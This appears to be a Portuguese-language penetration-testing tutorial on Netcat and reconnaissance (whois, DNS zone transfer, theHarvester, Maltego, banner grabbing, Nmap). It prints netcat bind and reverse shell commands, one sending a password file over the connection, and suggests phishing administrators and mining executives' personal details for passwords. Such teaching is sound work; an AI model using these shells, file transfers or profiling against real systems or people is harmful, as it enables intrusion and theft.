Você está na página 1de 19

Netcat: O canivete suíço das

conexões TCP/IP
O Netcat é uma ferramenta versátil para testes de rede o qual
permite ler e escrever dados através das conexões, usando o
protocolo TCP/IP.

Foi desenhado para ser uma ferramenta back-end confiável que


pode ser usada diretamente ou de modo fácil por outros
programas e scripts. Ao mesmo tempo, é cheia de
funcionalidades de debugging e exploração, já que pode criar
quase qualquer tipo de conexão que você possa precisar e tem
diversas capacidades interessantes.

Esta ferramenta provê acesso às principais funcionalidades:

Conexões de saída e entrada, TCP ou UDP, de ou para


qualquer porta;
Tem um modo de tunelamento que permite também um
tunelamento espeicla como UDP para TCP, com a
possibilidade de espeicificar todos os parâmetros de
rede (porta de origem/interface, porta/interface
ouvinte, e o host remoto permitido para conectar no
túnel;
Tem a funcionalidades de port scanning, de modo
aleatório;
Opções avançadas de uso como modo de envio buffered (uma
linha a cada N segundos) e hexdump (para stderr ou para
um arquivo específico) dos dados transmitidos ou
recebidos;
Parser e responder dos códigos RFC854 opcionais.

No Kali, para vermos as opções do Netcat, devemos entrar com o


comando nc -h, como pode ser visto abaixo:
Netcat – Opção h

Verificando se uma porta está


ouvindo
Vamos fazer o Netcat se conectar a uma porta para verificar se
está aguardando alguma conexão. Vamos testar em um servidor
web qualquer. Diga ao Netcat para usar a porta 80 e seja no
modo verbose com a opção –v. Se a porta estiver aberta, você
um resultado semelhante a este:

Netcat – Verificando porta 80 aberta

A partir deste comando, ele nos dá uma conexão TCP com o IP


informado. Tudo o que digitarmos e apertamos ENTER, será
enviado para o servidor web.

Obtendo informações do banner


do servidor web
Após abrir a conexão com o IP informado, digite HEAD /
HTTP/1.0 e aperte ENTER algumas vezes para que o servidor
responda com as informações que queremos.

Netcat – Obtendo banner do servidor web

Aguardando uma conexão


Você pode ficar escutando por uma conexão de entrada em uma
porta através do comando nc -lvp 1234, onde o parâmetros l
(listen), v (verbose) e p (port). Abra outro terminal e
utilize o comando nc 127.0.0.1 1234 para se conectar e digite
qualquer mensagem e aperte ENTER. Você verá que a outra janela
do terminal receberá a mensagem.
Netcat – Ouvindo conexão em uma porta

Ouvindo um Command Shell


Quando você configura o Netcat para ouvir, use também o
parâmetro -e para dize-lo para executar o /bin/bash (ou para
iniciar um prompt de comando Bash) quando receber a conexão.
Isto permite que qualquer um que se conecte como ouvinte para
executar os comandos em seu sistema:

Netcat – Ouvindo conexão com command shell

Em uma segunda tela do terminal, faça a conexão novamente e


execute alguns comandos linux como se estivesse no terminal do
seu alvo:
Netcat – Abrindo command shell

Este exemplo foi feito na mesma máquina, mas ela pode ser
feita entre máquinas diferentes. Tente isto com duas máquinas
virtuais em seu próprio lab.

Empurrando um Command Shell


de volta para o ouvinte
Para fazermos isto, vamos configurar nosso primeiro terminal
para ouvir na porta 1234, mas sem o parâmetro -e neste
momento.

root@kali:~# nc -lvp 1234


listening on [any] 1234 ...

Agora abra um segundo terminal e se conecte no Netcat ouvinte


que acabamos de criar:

root@kali:~# nc 192.168.20.9 1234 -e /bin/bash

A conexão é feita normalmente, mas apenas utilizamos o


parâmetro -e para executar o /bin/bash. Volte para o primeiro
terminal para ver a conexão, e se você usar comandos do
terminal, você verá eles sendo executados.

listening on [any] 1234 ...


connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921
whoami
root

Agora, ao invés de produzir uma saída do que vem do ouvinte


para a tela, use o > para enviar para um arquivo:

root@kali:~# nc -lvp 1234 > netcatfile


listening on [any] 1234 ...

No segundo terminal que configurou a conexão Netcat, mas desta


vez utilize o símbolo < para dizer para ele enviar o contéudo
do arquivo através da conexão Netcat. Espere alguns segundos
para ele transferir e veja o conteúdo do arquivo criado em sua
primeira instância. O resultado deve ser semelhante a isto:

root@kali:~# nc 192.168.20.9 1234 < senhas.txt

Você usou o Netcat para transferir um arquivo. Neste caso foi


apenas um exemplo simples, mas imagine o que pode ser feito
para transferir arquivos de um sistema explorado. Esta técnica
é muito utilizada na fase pós-exploratória do pentest, desde
que você tenha acesso ao sistema.

Fonte: Weidman, Georgia. Penetration Testing: A Hands-On


Introduction to Hacking. 2014

Coleta de informações em um
Pentest
A coleta de informações é o primeiro passo de uma invasão a um
sistema, onde devemos aprender o máximo sobre escopo de nossa
análise. Pensar fora da caixa é importante, como:

Quais os sistemas que o nosso alvo utiliza?


Eles estão devidamente atualizados com as versões?
Existe algum firewall ou proxy na rede?
Como é estruturação da rede de servidores e dos
usuários?
Quais sites costumam visitar?
Quais os parceiros de negócios deles?
Existe algum diretor da organização viajando?
Tem servidores de e-mail, web, ftp, etc. na empresa?
Qual é o IP dos servidores?

A intenção aqui é simplesmente obter informações de vários


modos, sem ao menos atacá-los de fato (coleta passiva), pois
elas servirão de base para as próximas etapas da análise. Com
estas informações, partiremos para a fase de modelagem das
ameaças, onde pensaremos como um invasor e elaborar as
estratégias de ataque. Mais a frente, iremos coletar mais
informações que não conseguimos obter utilizando alguns
scanners de vulnerabilidades, onde passa a ser uma coleta
ativa.

OSINT – Open Source


Intelligence
É possível obter informações sobre a empresa e a
infraestrutura dela sem ao menos enviar qualquer pacote de
dados para eles. Existe um momento é que será difícil separar
o que é importante da sua coleção de informações. Alguma
informação coletada sobre a vida de um diretor pode trazer o
benefício de ser útil para identificar a senha do e-mail dele,
como por exemplo a sua data de nascimento, nome da esposa,
filhos, time de futebol, etc., mas ao mesmo pode não ser útil.
Agora imagina você achar o perfil do LinkedIn ou o currículo
dele com informações relevantes onde ele se diz ser expert em
alguma ferramenta ou software específico. Isto pode indicar
que ele a utilize em sua infraestrutura.

Ao contrário da coleta de informações de fontes secretas, o


modo OSINT de obter informações é utilizando fontes públicas,
como redes sociais. O sucesso de um pentest depende das
informações coletadas.

Através das ferramentas OSINT podemos pegar algumas


informações, como:

E-mails
Telefones
Sistemas Operacionais
Informações de IP
Versões de softwares
Geolocalização
Detalhes pessoais

Netcraft
As vezes, as informações que os servidores web ou empresas de
hospedagens de sites coletam e tornam públicas podem te dizer
muito sobre um site. Por exemplo, uma empresa chamada Netcraft
armazena informações sobre o uptime e faz algumas consultas
sobre os softwares básicos nos sites. Netcraft também provê
outros serviços, como o serviço de antiphishing.
Resultado no Netcraft de uma consulta do site g1.com.br

Veja que o resultado da consulta diz quando o site foi visto


pela primeira vez (Janeiro de 1998). Tem um IP 186.192.90.5.

Com estas informações, quando se realiza um penteste em um


site, podemos começar listando as vulnerabilidades que afetam
somente os sistema operacional do site alvo. O site do G1 é
apenas um exemplo da consulta no Netcraft. Não tente nada em
nenhum sistema que não tenha permissão para realizar testes!

Estas informações auxiliam nas tentativas de ataques de


engenharia social para pegar algumas credenciais do site, onde
podemos enviar um e-mail para algum funcionário sendo de
alguma empresa que seja parceira deles, pedindo para o
administrador logar e checar algumas configurações de
segurança.

Pesquisas de Whois
Todos os registradores de domínios mantém os registros dos
domínios que hospedagem. Esses registros contém informações
sobre o dono, incluindo informações de contato. Por exemplo,
se nós executamos um comando de Whois no Kali para consultar
informações sobre qualquer site, nós obteremos estas
informações. Existem também alguns sites que fazem este tipo
de consulta, como: Ping.EU e Whois.Net.
Whois do site r7.com.br no Ping.EU

Algumas empresas fornecem o registro de domínio de forma


privada, onde escondem as informações do dono do domínio,
utilizando informações de um proxy.

Reconhecimento de DNS
Nós podemos também usar o servidor Domain Name System (DNS)
para aprener um pouco mais sobre o domínio. Servidores DNS
traduzem a URL que é legível para humanos, como www.google.com
em um endereço IP.
nslookup
Ao utilizarmos o comando nslookup no CMD do Windows com o site
www.google.com.br, temos o seguinte resultado:

nslookup – www.google.com.br

O comando retornou o endereço IP “216.58.202.35” embaixo de


“Addresses”. Podemos dizer para o nslookup achar os servidores
de e-mail no mesmo site, olhando os registros MX. Basta
executar a sequência de comandos abaixo:

Resultado dos registros MX no nslookup para o domínio


r7.com.br

Host
Outra utilidade das consultas DNS é o comando Host. Nós
perguntamos através do Host os nomes dos name servers de um
domínio através do comando host -t ns domínio. Veja o exemplo
abaixo:

Comando host -t ns ibm.com

Este resultado mostra todos os servidores DNS para o domínio


ibm.com.

Transferência de Zona (Zone Transfer)


Transferência de zona permite os name servers a replicarem
todas as entradas de um domínio. Quando se está configurando
os servidores DNS, você normalmente tem um name server
primário e um servidor backup. Uma boa forma de popular todas
as entradas em um servidor secundário de DNS é fazendo uma
consulta no servidor primário para todas as entradas?

Infelizmente, muitos administradores de sistemas configuram as


transferências de zona DNS de forma insegura, assim qualquer
um pode transferir os registros DNS para um domínio. Você pode
tentar com o comando a seguir para fazer o download de todos
os registros DNS do domínio zoneedit.com. Utilize o comando
com a opção -l para especificar a transferência de zona e
escolha um name server do exemplo anterior.

root@kali:~# host -l zoneedit.com ns2.zoneedit.com


Using domain server:
Name: ns2.zoneedit.com
Address: 69.72.158.226#53
Aliases:
zoneedit.com name server ns4.zoneedit.com.
zoneedit.com name server ns3.zoneedit.com.
zoneedit.com name server ns15.zoneedit.com.
zoneedit.com name server ns8.zoneedit.com.
zoneedit.com name server ns2.zoneedit.com.
zoneedit.com has address 64.85.73.107
www1.zoneedit.com has address 64.85.73.41
dynamic.zoneedit.com has address 64.85.73.112
bounce.zoneedit.com has address 64.85.73.100
--snip--
mail2.zoneedit.com has address 67.15.232.182
--snip--

Existem diversas páginas de entradas de DNS para zoneedit.com,


o que dá uma boa ideia de onde começar a olhar por
vulnerabilidades para um pentest. Por exemplo, mx-
caprica.easydns.com é provavelmente um servidor de e-mail,
então podemos procurar por potenciais vulnerabilidades no
software que está rodando nas portas padrões, como 25 (SMTP) e
110 (POP3). Se conseguimos achar o servidor de webmail,
qualquer usuário que acharmos podem nos levar a direção
correta, assim podemos tentar adivinhar a senha e ganhar
acesso aos e-mails da empresa.

Garimpando endereços de e-mail


Testes de invasão externos sempre encontram poucos serviços
expostos em comparação aos testes internos. Uma boa prática de
segurança é expor somente os serviços necessários que precisam
ser acessíveis remotamente, como servidores web, de e-mails,
VPN, FTP e SSH, e qualquer um outro que seja crítico para o
objetivo da empresa. Serviços como estes são superfícies de
ataques comuns, e ao menos que os empregados utilizem segundo
fator de autenticação, acessar o webmail da empresa pode ser
simples para um atacante começar tentar adivinhar alguma
credencial válida.

Uma excelente maneira de achar usuários é procurando por


endereços de e-mails na internet. Você pode se surpreender ao
achar endereços de e-mails corporativos publicados.
Existe uma ferramenta em Python chamada theHarvester para
vasculhar centenas de resultados de sistemas de busca por
possíveis endereços de e-mail. Este software pode automatizar
buscas por endereços de e-mails no Google, Bing, PGP, LinkedIn
e outros. Por exemplo, veja o que acontece se executarmos ele
no sites da cisco.com utilizando apenas como critério o
Google:

Resultado do theHarvester no site cisco.com

Maltego
Maltego é uma ferramenta de data-mining designada para coleta
de informações do tipo Open Source Intelligence (OSINT). Ele
tem uma versão gratuita e outra paga. O Kali, limita o
resultado retornado, mas podemos utilizar para coletar algumas
informações interessante de forma bem rápida. A versão paga
oferece mais resultados e funcionalidades, e para utilizar em
seus pentestes, você precisará ter a versão paga.

Para usar o Maltego, vá até a linha de comando do Kali e


digite maltego. A interface gráfica será lançada. Você será
questionado para criar uma conta grátis no site da Paterva e
logar. Uma vez logado, escolha a opção “Open a blank graph and
let me play around“, e finalmente clique em “Finish“.

Maltego – Startup wizard

Agora selecione a opção Palette do lado esquerdo. Como você


pode ver, nós podemos coletar informações sobre todos os tipos
de entidades. Clique em Domain e digite um endereço que deseja
obter informações.
Maltego – Domain

Expanda a opção Infrastructure da Palette, clique e arraste a


opção Domain para o novo gráfico. Por padrão, o domínio é
paterva.com. Para trocar, dê um clique duplo para digitar e
mudar no campo de texto do lado direito da tela.

Uma vez o domínio configurado, você pode rodar o transforms (a


forma que o Maltego realiza as consultas) nele, fazendo com
que ele colete informações interessantes. Clique com o botão
direito sobre o ícone do domínio e escolhar a opção Run
Transform. Você verá que existem diversos transforms
disponíveis para a entidade utilizada. Vamos procurar pelos
registros MX de um site, que é onde estão os servidores de e-
mail. Em All Tranforms selecione a opção To DNS Name – MX
(mail server) transform.
Maltego – All Transforms – DNS MX

Se você executar no mesmo domínio que fizemos o teste


anteriormente (zoneedit.com), você achará o servidor mx-
caprica.easydns.com.

Existem outros comandos interessantes que podem ser


utilizados, como ToServerTechnologiesWebsite para ver quais
software está rodando aquele site.

Você pode achar informações adicionais e tutoriais sobre o


Maltego em seu site oficial. Se você aprender bem como
utiliza-lo, você conseguirá obter informações que levariam
horas, em apenas alguns minutos.

Escaneando portas
Quando você começa um pentest, o escopo potencial é
praticamente sem limite. O cliente poderia estar rodando
diversos programas com problemas de segurança. Eles podem
estar configurados incorretamente na infraestrutura e que
poderiam levar a um comprometimento, senhas fracas ou padrão
poderia deixar um atacante entrar de forma fácil. Os pentests
são apontados para um escopo particular de um range de IP e
nada mais. Precisamos descobrir quais os sistemas estão ativos
e quais se comunicam um com os outros. Para isto fazemos um
escaneamento de portas, ou também chamado de port scanning.

Escaneando porta manualmente


Nós podemos ter uma boa ideia sobre um ataque em uma rede
mapeando algum range e consultando as portas que estão
escutando em cada sistema. Nós podemos fazer isto manualmente
através de uma ferramenta de conexão para a porta específica,
como o telnet ou Netcat e gravar o resultado obtido. Vamos
utilizar o telnet para se conectar na porta 25 (padrão SMTP)
de um host qualquer e verificar se está disponível para
conexão.

Consultando um host e uma porta com telnet

Resultado de uma conexão bem sucedida com telnet

Veja que ao se conectar no endereço, ele exibe o banner do


servidor “Nemesis ESMTP Service”. Tenha em mente que os
administradores de sistemas podem alterar o banner para
qualquer texto que queiram, inclusive enviando os atacantes e
pentesters a perseguirem algo que não existe de fato, como
pesquisar vulnerabilidades de um sistema que não está
implementado. Na maioria das vezes, as versões dos banners
exibidos estarão corretos, e simplesmente conectando na porta
e vendo o banner, dispõe um caminho para iniciarmos a nossa
pesquisa para o pentest. Se você pesquisar pelo serviço
exposto no banner, você pode achar algumas coisas
interessantes, mas por outro lado, conectar em cada porta TCP
e UDP de uma única máquina poderá ser uma perda de tempo.
Felizmente, computadores podem realizar tarefas repetitivas, e
para isto podemos utilizar uma ferramenta de port scanning
como o Nmap e achar as portas que estão escutando.

Escaneando porta automatizada com Nmap


Nmap é uma ferramenta conhecida no mercado para escaneamento
de portas. Livros inteiros foram escritos somente sobre o Nmap
e a página do manual pode ser assustadora pela quantidade de
informação. Veremos com mais detalhes em outra postagem.

Firewall com IDS e IPS podem detectar e bloquear tráfego de


escaneamentos, então você pode rodar o Nmap e não obter nenhum
resultado. Você pode ser contratado para realizar um pentest
externo e não encontrar nenhum host respondendo, mas isto pode
ser provavelmente o firewall te bloqueando. Por outro lado,
seu Nmap pode informar que os hosts estão ativos e estará
escutando em cada porta que você escaneou e foram detectadas.

Você também pode gostar